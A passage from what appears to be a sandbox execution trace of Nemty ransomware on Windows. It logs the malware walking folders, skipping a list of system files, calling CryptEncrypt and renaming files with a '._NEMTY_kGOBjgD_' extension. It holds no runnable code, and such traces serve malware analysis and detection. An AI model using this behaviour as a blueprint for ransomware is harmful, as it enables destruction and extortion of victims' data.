Flags=0x0, Size=0xa0) returned 0x63403b0 [0135.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0135.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0135.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0135.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\0.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\0.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\0.png._nemty_kgobjgd_")) returned 0 [0135.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0135.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0135.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0135.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0135.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0135.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0135.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0135.094] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8498f944, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8498f944, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5323, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2=".") returned 1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="..") returned 1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="...") returned 1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="windows") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="$RECYCLE.BIN") returned 1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="rsa") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="NTDETECT.COM") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="ntldr") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="MSDOS.SYS") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="IO.SYS") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="boot.ini") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="boot.ini") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="AUTOEXEC.BAT") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="ntuser.dat") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="desktop.ini") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="CONFIG.SYS") returned -1 [0135.094] lstrcmpiW (lpString1="1.png", lpString2="RECYCLER") returned -1 [0135.095] lstrcmpiW (lpString1="1.png", lpString2="BOOTSECT.BAK") returned -1 [0135.095] lstrcmpiW (lpString1="1.png", lpString2="bootmgr") returned -1 [0135.095] lstrcmpiW (lpString1="1.png", lpString2="programdata") returned -1 [0135.095] lstrcmpiW (lpString1="1.png", lpString2="appdata") returned -1 [0135.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.png", lpUsedDefaultChar=0x0) returned 5 [0135.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.png", lpUsedDefaultChar=0x0) returned 5 [0135.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.png", lpUsedDefaultChar=0x0) returned 5 [0135.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0135.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.png", lpUsedDefaultChar=0x0) returned 5 [0135.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0135.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0135.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0135.095] Sleep (dwMilliseconds=0x5) [0135.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x42da990, dwHighDateTime=0x1d561e8)) [0135.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x42da990, dwHighDateTime=0x1d561e8)) [0135.109] GetLastError () returned 0x5 [0135.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0135.109] GetLastError () returned 0x5 [0135.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0135.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0135.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0135.110] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0135.110] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0135.110] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0135.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0135.110] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="fL8eBoB4DWJTblpld5v6yJndB0VnaiASe+PX9mQ/dgbYem96I7Z143Wfu1GPEdEl\r\na7y6KxcoH3Zd4fN0hGGdgEPfvdI2XFDB8XN1W13G2z30+RSmHWVSG1f0XXFYEvfe\r\nkWc06DLQ4eZ37+64CIPNiFKQTvwzbV8ekIgqbhqWVR9pUZteS73jXipgVIxkHTaR\r\nv9qC6XclJ/A9J8Wln4CpGaW7+PUk4jrIqBF5GmPVMGqelxFQqpeA6dKtgvQ/QcTT\r\nu6R2EUQhxcoy6d3uebxBprUN5usACeSmz8pftz675bjJUDBjTxzoX9+eSyqWV0oF\r\ndDT39MMSbA7gP8g8FQfNTA==\r\n", pcchString=0x653e91c) returned 1 [0135.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0135.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0135.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0135.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0135.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0135.110] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.111] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0135.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0135.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.162] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.162] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.171] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.171] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.181] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.181] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.200] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.216] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0135.223] CloseHandle (hObject=0xffffffff) returned 0 [0135.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0135.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0135.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0135.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0135.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0135.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0135.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0135.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0135.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0135.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0135.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\1.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\1.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\1.png._nemty_kgobjgd_")) returned 0 [0135.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0135.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0135.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0135.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0135.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0135.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0135.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0135.224] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a4e015, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a4e015, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x388aecb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2=".") returned 1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="..") returned 1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="...") returned 1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="windows") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="$RECYCLE.BIN") returned 1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="rsa") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="NTDETECT.COM") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="ntldr") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="MSDOS.SYS") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="IO.SYS") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="boot.ini") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="boot.ini") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="AUTOEXEC.BAT") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="ntuser.dat") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="desktop.ini") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="CONFIG.SYS") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="RECYCLER") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="BOOTSECT.BAK") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="bootmgr") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="programdata") returned -1 [0135.224] lstrcmpiW (lpString1="10.png", lpString2="appdata") returned -1 [0135.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0135.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.png", lpUsedDefaultChar=0x0) returned 6 [0135.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0135.224] WideCharToMultiByte (in: CodePage=0xfde9, 